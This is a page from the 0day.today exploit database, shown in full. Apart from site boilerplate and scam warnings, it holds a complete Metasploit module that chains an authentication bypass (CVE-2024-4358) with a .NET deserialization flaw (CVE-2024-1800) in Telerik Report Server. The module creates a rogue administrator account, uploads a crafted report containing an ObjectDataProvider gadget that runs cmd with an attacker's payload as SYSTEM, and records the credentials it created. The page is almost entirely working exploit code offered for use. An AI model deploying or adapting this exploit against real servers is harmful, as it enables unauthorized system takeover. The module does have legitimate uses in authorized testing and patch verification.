0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Telerik Report Server Authentication Bypass / Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE', 'Description' => %q{ This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior. The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges. The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account because users are unable to delete themselves. }, 'Author' => [ 'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up 'Soroush Dalili', # CVE-2024-1800 exploitation assistance 'Unknown', # CVE-2024-1800 discovery 'Spencer McIntyre' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130 [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305 [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ] ], 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 83 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-06-04', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'RelatedModules' => [ check_module ] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME', [false, 'Username for the new account', '']), OptString.new('PASSWORD', [false, 'Password for the new account', '']) ]) deregister_options('CheckModule') end def check_module 'auxiliary/scanner/http/telerik_report_server_auth_bypass' end def check_options { 'ACTION' => 'CHECK' } end def check check_code = super if check_code == CheckCode::Appears # The auth bypass affects later versions than the RCE, so just filter those out version = check_code.details[:version] if version > Rex::Version.new('10.0.24.130') return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details) end end check_code end def username @username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME'] end def password @password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD'] end def create_account? # unless the user specifies a username, use CVE-2024-4358 to create an account for them. datastore['USERNAME'].blank? end def create_account! # create a new account by exploiting CVE-2024-4358 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Startup/Register'), 'vars_post' => { 'Username' => username, 'Password' => password, 'ConfirmPassword' => password, 'Email' => Faker::Internet.email(name: username), 'FirstName' => Faker::Name.first_name, 'LastName' => Faker::Name.last_name } ) fail_with(Failure::Unreachable, 'No response received') if res.nil? fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index') end def login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Token'), 'vars_post' => { 'grant_type' => 'password', 'username' => username, 'password' => password } ) fail_with(Failure::Unreachable, 'No response received') if res.nil? fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json') fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200 access_token = res.get_json_document['access_token'] fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present? print_good("Successfully authenticated as #{username}") report_creds(username, password) access_token end def build_trdp zip = Rex::Zip::Archive.new zip.add_file( '[Content_Types].xml', Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0) <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="xml" ContentType="application/zip" /> </Types> XML ) zip.add_file( 'definition.xml', Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0"> <Items> <ResourceDictionary xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" xmlns:System="clr-namespace:System;assembly:mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" > <ODP:ObjectDataProvider MethodName="Start" > <ObjectInstance> <Diag:Process> <StartInfo> <Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo> </StartInfo> </Diag:Process> </ObjectInstance> </ODP:ObjectDataProvider> </ResourceDictionary> </Items> </Report> XML ) zip.pack end def send_request_api(resource, method: nil, data: nil) if method.nil? method = data.nil? ? 'GET' : 'POST' end res = send_request_cgi( 'method' => method, 'uri' => normalize_uri(target_uri.path, 'api', resource), 'headers' => { 'Authorization' => "Bearer #{@access_token}" }, 'ctype' => 'application/json', 'data' => data.nil? ? nil : data.to_json ) fail_with(Failure::Unreachable, 'No API response received') if res.nil? fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200 return nil if res.body.blank? fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json') res.get_json_document end def exploit if create_account? print_status('Creating a new administrator account using CVE-2024-4358') create_account! print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)") end @access_token = login categories = send_request_api('reportserver/categories') report_name = rand_text_alphanumeric(10) category = categories.sample fail_with(Failure::Unknown, 'A random category could not be selected') unless category print_status("Using category: #{category['Name']}") send_request_api( 'reportserver/report', data: { 'reportName' => report_name, 'categoryName' => category['Name'], 'description' => nil, 'reportContent' => Rex::Text.encode_base64(build_trdp), 'extension' => '.trdp' } ) vprint_status("Created report: #{report_name}") res_json = send_request_api('reportserver/reports') @report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] } res_json = send_request_api( 'reports/clients', data: { 'timeStamp' => nil } ) client_id = res_json['clientId'] fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present? begin send_request_api( "reports/clients/#{client_id}/parameters", data: { 'report' => "NAME/#{category['Name']}/#{report_name}/", 'parameterValues' => {} } ) rescue Msf::Exploit::Failed => e raise e unless fail_reason == Failure::UnexpectedReply print_good('The server responded with an error indicating that the payload was executed') self.fail_reason = Failure::None end end def cleanup return unless @report && @access_token print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})") send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE') end def report_creds(user, pass) credential_data = { module_fullname: fullname, username: user, private_data: pass, private_type: :password, workspace_id: myworkspace_id, last_attempted_at: Time.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_details) create_credential_and_login(credential_data) end end # 0day.today [2024-11-14] #